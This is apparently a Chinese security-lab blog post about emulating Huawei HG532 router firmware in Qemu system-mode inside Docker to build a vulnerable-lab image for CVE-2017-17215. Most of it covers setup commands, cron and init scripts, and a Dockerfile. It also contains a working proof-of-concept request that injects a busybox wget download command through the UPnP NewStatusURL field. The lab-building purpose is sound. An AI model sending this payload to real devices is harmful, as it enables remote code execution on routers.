基于Docker的固件模拟

kankai 1679天前

作者：m2ayill（白帽汇安全研究院）

概述

目前的设备模拟都需要用户人工操作，没有一个直接可用的方案，难度大成本高耗时长。而且在各大漏洞靶场中都没有集成，如：Vulfocus 开源靶场，等。本文主要讲述如何在 Docker 中搭建 Qemu 进行 system-mode 模式的固件模拟，实现易于分发开箱即用的硬件模拟环境。要是有需完善地方，请读者留言共同促进改善之。

背景

由于工作内容是物联网安全方向，通常需要购买设备进行分析，但是目前多数的设备漏洞分析只需要有固件，然后将相关程序运行即可。目前网络上通常使用 Qemu 进行固件模拟，其他的就是 Qemu 和其他环境功能（如：nvram ）的包装器如：firmadyne、Firmware Analysis Toolkit、ARM-X 固件仿真框架等。

上述列举的固件模拟工具，都需要用户安装好以后，再传输固件文件系统进行模拟固件服务运行。但是，通常固件模拟总有一些小细节的错误导致失败，而且类似固件模拟成功的文章作者有可能会忽略一些细致点，导致用户找不出问题点，模拟失败。因此一直在想，要是能够将模拟成功的固件环境打包成镜像，用户获取镜像后直接运行镜像就可以获取到固件漏洞点，直接省略了繁杂的固件搭建过程。

要实现这种“开箱即用”，直接想到的便是 Docker，它作为可直接打包其中的应用以及依赖包到一个可移植的容器，完全符合这种需求。网上查了查，现有的 Docker 中集成 Qemu 进行的固件模拟仅仅是利用 user-mode 模式（可执行二进制文件仿真，即开启固件中的单一服务）进行模拟应用运行，很多的服务的依赖包需要在system-mode 模式（固件全局仿真）下才能运行成功。

搭建过程

初步设想需解决点

根据通常 Docker 搭建Web等应用漏洞靶场的思路，即在启动 Docker 后直接访问漏洞点就可以像真正环境中一样利用。推理到固件靶场：

Docker 中需具备：模拟固件的框架，能够外部访问漏洞点，固件文件系统内部能访问外网（也就是漏洞能实际利用了），这就造成了：网络上已经有了 Docker镜像进行 user-mode 模式的固件模拟，但是没有 system-mode 模式，可能就是因为涉及到 Qemu 中的端口转发出来及网络等因素。

需要解决：
- Qemu 中模拟漏洞时，如果漏洞是通过端口进行利用的，怎样将端口转发到 Docker
- Qemu 能访问外网
- Qemu 中的服务怎么随着 Docker 启动而启动，即：像 Web类的靶场，直接 Docker 启动就可以将漏洞环境运行起来

搭建过程划分及流程框架图

搭建过程分为如下几步

MIPS 框架搭建--实现外网访问--端口映射
Qemu 服务随 Docker 启动而启动
（额外： Qemu 同步实时更新 Docker 中的文件）

本文模拟的环境案例

HG532 ，CVE-2017-17215，知识储备章节有写漏洞信息及利用脚本
漏洞产生点于组件服务端口 37215 ，从数据包中获取部分信息来进行代码执行
HG532 固件文件系统类型是 mips 32位的，且格式为大端 MSB。
固件下载地址：https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar

PoC 内容如下：

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xm l version="1.0" ?>
 <s:Envelope xm lns:s="http://schemas.xm lsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xm lsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xm lns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 1.1.1.1 -l /tmp/.f;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://x.x.x.x:37215/ctrlt/DeviceUpgrade_1',
              headers=headers, data=data)

逻辑框架

Docker - Qemu - system-mode 模式的固件模拟流程图

0x01 MIPS 框架搭建--实现外网访问--端口映射

Docker version 19.03.2 中 Ubuntu 18.04.4 系统，安装 qemu-system-mips
apt-get update && apt-get install -y qemu -system-mips && apt-get clean
Qemu 使用的基础框架：https://people.debian.org/~aurel32/qemu/mips/

此处映射了 Qemu 中的两个端口22、37215

qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 rw console=tty0"  -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5535-:22,hostfwd=tcp::37215-:37215 -nographic

某些固件服务修改网络配置

将固件文件系统传入 Qemu 模拟环境中，尝试运行其中的 mic 服务，会发现在终端运行的 mic 进程退不出来，也就是无法掌控终端了；

在 mic 服务启动的过程中发现网络有修改，也就是意味着ip被修改了，那么转发的端口不能使用了。

使用定时任务修改网络配置

定时任务实现：修改 /etc/crontab 文件，必须要按照格式填写

按照/etc/crontab中的格式填写如下内容：
* * * * * sh /root/changeip.sh


nano changeip.sh，内容如下：

#!/bin/sh

service networking restart
ifup eth0

0x02 固件文件系统的服务自启

解决问题： Qemu 服务随 Docker 启动而启动

启动项加入过程：

路径：/etc/init.d/micc_open
权限：chmod 777 /etc/init.d/micc_open
加入自启项目：update-rc.d mic_open defaults 99

mic_open内容如下：

#!/bin/sh
### BEGIN INIT INFO
# Provides:          aaa.com
# Required-Start:    $local_fs $network
# Required-Stop:     $local_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Desc ription: mic service
# Desc ription:       mic service daemon
### END INIT INFO
chroot /root/squashfs-root/ mic

0x03 `Qemu` 同步实时更新 `Docker` 中的文件

有个小需求需要用户攻陷设备后获取 flag，也就是需要 Qemu 同步实时更新 Docker 中的 /tmp/flag 文件

解决：只要将 /tmp 目录挂载到 Qemu 中就行，使用 fat:/tmp

Qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 rw console=tty0" -hdb fat:/tmp -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5535-:22,hostfwd=tcp::37215-:37215 -nographic

Qemu 中执行，加入自启动项实现：

fdisk -l
mount /dev/sdb1 /tmp

知识储备

挂载主机分区

储备4: Qemu的必备知识点

一篇文章有介绍 Qemu ，如下截图其中的一部分内容，详细可参考：https://nosec.org/home/detail/4213.html

Qemu 必备知识点

储备5: 本文涉及到的Docker知识点

网络配置使用的命令，如：ip router
在自动运行 Docker 中 Qemu 中固件文件系统中的服务成功之前，想过要是 Docker 能保存当前的运行状态多方便，研究如下：
Docker save与Docker export
```
save 镜像，不是当前运行的而是原本的，当前运行的镜像不会保存。
export 容器，会保存，但是只是文件。
```

Docker 镜像修改保存新镜像，docker commit从容器中创建一个新镜像

-a :提交的镜像作者
-m :提交时的说明文字

docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]

docker commit -m="qemu-system-mips_HG532" -a="m2ayill" 553c8ce8df01  mips_huawei_hg532_success_fat_flag:v2

Dockerfile 的编写
- FROM：先从本地查找镜像，若无，再从网上获取镜像
  FROM mips_huawei_hg532_success:latest
- MAINTAINER：描述镜像的创建者
  MAINTAINER m2ayill
- ADD：在执行 <源文件> 为 tar 压缩文件的话，压缩格式为 gzip, bzip2 以及 xz 的情况下，会自动复制并解压到 <目标路径>，描述镜像的创建者，先从本地查找镜像
  ADD <源路径1> <目标路径>
- RUN：执行后面的命令行命令
  RUN <命令行命令>
- ENTRYPOINT：类似于 CMD 指令，但其不会被 docker run 的命令行参数指定的指令所覆盖
  ENTRYPOINT ["/start.sh"]
  在创建镜像时，本人使用了RUN，直接在创建过程中运行了命令 mic 导致直接卡顿，创建不了了，看完本文内容就知道。
- EXPOSE：声明端口
  EXPOSE <端口1>

Dockerfile内容如下：

FROM    mips_huawei_hg532_success:latest        #从本地获取镜像
MAINTAINER    m2ayill        #镜像的创建者
ADD    ./start.sh /            #<源文件> ：./start.sh 复制并到 <目标路径>：/
RUN    chmod 777 /start.sh

ENTRYPOINT    ["/start.sh"]        #类似于 CMD 指令，但其不会被 docker run 的命令行参数指定的指令所覆盖

EXPOSE 37215                #声明端口        


start.sh文件内容
启动 Qemu 的命令

搭建中的踩坑点

0x01_1 端口转发

搭建过程中虽然进行端口转发使用的是 hostfwd ，但是初步想法有过：要实现外部访问 Docker 的端口， Docker 内部得有端口能访问，所以有两种方法实现（其实也是根据 Qemu 中的网络模式划分的）：

将桥接或虚拟网卡 tap 的端口转发到 Docker 内部端口
Qemu 直接将端口映射到 Docker 内部端口

根据知识储备1可知：user网络模式 可以实现端口转发到 Docker ，最主要的是可以访问外网，类似于 nat。

这里使用的是 user网络模式 ，（有兴趣的人，:) 可以试试 tap ，Qemu 说明文档中有写转发过程）

0x01_2 hostfwd的转发端口

刚开始尝试时，ssh转发到 Docker 的 5535 端口成功，但是 37215 死活不行，而且本文使用的案例是我使用的第二个案例，第一个案例是雄迈的 telnet 后门漏洞，其中 9527 端口也是转不出来，
1. 设想，是不是 hostfwd 只能转发一个端口
  案例推翻假设：尝试了 cc8160（第三个案例）启动的是 80 端口和 22 端口，两个端口都能使用
2. 后来一步步回想做了哪些操作：
5535 是在没有运行mic 之前，连接成功；
在运行 mic 后，5535 端口也不能使用了；
查看 mic 服务启动过程，发现 mic 服务在运行时将网络环境修改了

hostfwd转发的端口是只要 Qemu 内部有相应的端口，就可以通过hostfwd设定的端口转发出来，也就是说，内部的服务可以在 Qemu 运行后启动：
1. 设想，ssh 端口是开机自启的，当初还以为只能是系统内部已经启动的端口才能够转出来，而运行 Qemu 后自行启动的端口无法转出
  案例推翻假设：将 ssh 端口关闭后， Qemu 转发到 Docker 的端口无法使用 ssh 登录了，重新启动 ssh 服务，又可以使用了
与搭建无关的：
- 通过 Qemu 转发到 Docker 的端口，5535、37215等，其实本地是在类似监听的状态，也就是说 telnet 5535 等端口，都是属于通的状态，无法通过 telnet 来判断是否 Qemu 内部的服务已经启动

0x02 “定时任务”历程

解决办法设想过如下：

放入后台，将终端释放出来，没有 nohub 命令，只能通过 & 或者ctrl+z
- 使用ubuntu虚拟机+ Qemu 实现的 ctrl+z 放入后台，bg 的结果是 doing，&结果总是 stopped
- 使用 Docker + Qemu ，两种方法总是 stopped
使用 ssh 登录后的终端运行 mic 服务

案例推翻：使用 ssh 运行的 mic 服务，由于运行中断，导致运行不起来

定时任务编写过程：

/var/log/cron
crontab -e，crontab查看内容添加上了
crontab file，crontab 查看内容添加上了
权限问题
重启服务/etc/init.d/cron restart
无意中全局搜索 crontab ，/etc/crontab 符合平常设定定时任务的格式类型，当时脑子也呆了，下意识的直接按照文件原本的格式填写了，（第二天重新设置定时任务，死活不成功，重新走了一下流程，最终发现的原因是，/etc/crontab 填写的内容是复制过来的，没有按照原文格式写:( ）

0x03 模拟攻击

到此为止，定时任务设定好，先实现： Qemu 服务手动运行起来利用转发端口到 Docker ，外部能够漏洞利用成功，手动运行mic 服务，结果：访问 ssh 成功、poc 攻击不成

分析原因（因为过程繁琐没有在Docker中测试，使用单独的Ubuntu 虚拟机+ Qemu ）：

查看 poc 在 mic 中的运行过程，尝试修改命令为 date ，执行成功
ssh 登录，执行 wget 有报错信息，什么都不说了，得按照格式来：wget -g ip -l 保存路径（-P 端口，-r 路径）

0x04 “服务自启”历程

手动运行固件服务成功后，就要解决问题： Qemu 服务随 Docker 启动而启动

当时想的很复杂， Qemu 中的固件文件系统中的服务加入启动项，涉及到两个系统，怎么实现

走了一下流程：

chroot /root/squashfs-root/ bin/sh ，进入固件shell中
mic，运行服务

尝试

chroot /root/squashfs-root/ mic，可以运行

那就方便处理了，只要将chroot /root/squashfs-root/ mic在启动 Qemu 时，服务同时运行起来就行，两种方法：

加入启动项
定时任务（想到的第一个办法就是定时任务，没有尝试，原因如下，其实挺后悔的，要不然早弄完了：）
- 设想，定时任务几乎都是随着mic服务运行后执行的，也就是在 Qemu 登录后，没有尝试登录前看看能不能执行；（为什么说Qemu 登录，在下面有写）
- 验证：在后面通过自启项目 mic 运行后，会在 Qemu 启动的过程中卡住，但是定时任务还是执行了，说明在未登录之前定时任务是可以执行的）

启动脚本第一版

mic_open内容如下：

#!/bin/sh

chroot /root/squashfs-root/ mic

尝试：

/etc/profile.d/mic_open，只能在Qemu 登录用户后启动；
/etc/init.d/mic_open、 rd0-6 目录下都添加，不行；
将脚本转成服务，加入自启项目；

使用命令加入自启项目，update-rc.d mic_open defaults 99，发现启动脚本有问题，根据报错信息，有了如下的第二版脚本，再次使用 update-rc.d mic_open defaults 99 ，加入自启项目成功。

mic_open内容如下：

#!/bin/sh
### BEGIN INIT INFO
# Provides:          aaa.com
# Required-Start:    $local_fs $network
# Required-Stop:     $local_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Desc ription: mic service
# Desc ription:       mic service daemon
### END INIT INFO
chroot /root/squashfs-root/ mic

0x05 实现“外网访问”历程

起初不知道 user模式可直接访问外网，而且 ping 执行过不能 ping 通，而且平常使用的是 tap

然后弯路开始了，其实一般都是使用 tap ，这种方法是好的，估计可以执行，在搭建 Qemu 框架就把tap设置好，然后可以访问外网，也能访问 Docker 网络，然后进行 Docker 内部的端口转发（使用 tap 不能用 hostfwd ）

环境：基于（完成 Qemu 框架+定时任务修改网络+自启动服务）的 Docker 中

方式：使用的是通过 br 给 tap 设置外网访问

弯路1: Docker 禁用eth0，这网络就访问不了了， Docker 中好多没有安装，很不方便（dhclient br0，没有 dhclient 命令），想着br设置一下就行了，就仿照 eth0 的设置成了静态，不行，

apt-get install isc-dhcp-client
apt-get install iputils-ping

解决：网上搜了一会儿，用了 ip router，仿照正常的eth0设置，通过 ip router add 添加 br

ip route
ip route add default via 172.17.0.1 dev br0
ifconfig br0 172.17.0.2/16

弯路2: 设置好了tap0，使用tap0启动 Qemu ，平常需要登录进 Qemu 修改下网络才可以使用，结果由于自启服务.mic ，在 Qemu 启动过程中直接卡顿了，ssh 也不知道 ip 不能登录

ifconfig eth0 down
brctl addbr br0
brctl addif br0 eth0
brctl stp br0 off
brctl setfd br0 1
brctl sethello br0 1
ifconfig br0 0.0.0.0 promisc up
ifconfig eth0 0.0.0.0 promisc up

解决：网上搜了：-net tap 与 -netdi v user，才了解到：user 网络模式 ，可以联网是类似 nat 不能通过 ping命令访问外网。

也就是无形当中，网络已经是好的，可以访问外网。

到目前为止， Docker 实现固件模拟漏洞环境成功。

未完待续

目前已将该 Docker 的固件漏洞环境镜像上传到Vulfocus ：https://hub.docker.com/r/vulfocus/hg532-cve-2017-17215，直接拉取镜像可启动固件漏洞环境，启动 Qemu 过程需要 4-5 分钟。希望读者阅读完本文，能将更多的环境集成到 Vulfocus 。

拓展

本文使用案例的是 mips 框架，同样是适用于其他环境如：ARM、i386 等。拓展开来，Docker目前不能搭建 Windows 漏洞环境，有这种需求的可以借助本文方法实现：Docker-Qemu-Windows。

问题汇总

有问题可以在 GitHub 提 issue, 也可在下方的讨论组里

GitHub issue: https://github.com/fofapro/vulfocus/issues

微信群: 通过扫描以下二维码加入并且备注 申请 Vulfocus 加入 Vulfocus 官方微信群：

参考资料

https://xz.aliyun.com/t/4819

https://www.freebuf.com/vuls/160040.html

https://blog.csdn.net/u013554213/java/article/details/78792686

本文为白帽汇原创文章，如需转载请注明来源：https://nosec.org/home/detail/4458.html

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基于Docker的固件模拟

概述

背景

搭建过程

初步设想需解决点

搭建过程划分及流程框架图

0x01 MIPS 框架搭建--实现外网访问--端口映射

0x02 固件文件系统的服务自启

0x03 `Qemu` 同步实时更新 `Docker` 中的文件

知识储备

储备1: 端口转发

储备2: Qemu联网方式

储备3: Qemu 挂载 Docker中的目录

储备4: Qemu的必备知识点

储备5: 本文涉及到的Docker知识点

搭建中的踩坑点

0x01_1 端口转发

0x01_2 hostfwd的转发端口

0x02 “定时任务”历程

0x03 模拟攻击

0x04 “服务自启”历程

0x05 实现“外网访问”历程

未完待续

拓展

问题汇总

参考资料

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初步设想需解决点

搭建过程划分及流程框架图

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0x02 固件文件系统的服务自启

0x03 Qemu 同步实时更新 Docker 中的文件

知识储备

储备1: 端口转发

储备2: Qemu联网方式

储备3: Qemu 挂载 Docker中的目录

储备4: Qemu的必备知识点

储备5: 本文涉及到的Docker知识点

搭建中的踩坑点

0x01_1 端口转发

0x01_2 hostfwd的转发端口

0x02 “定时任务”历程

0x03 模拟攻击

0x04 “服务自启”历程

0x05 实现“外网访问”历程

未完待续

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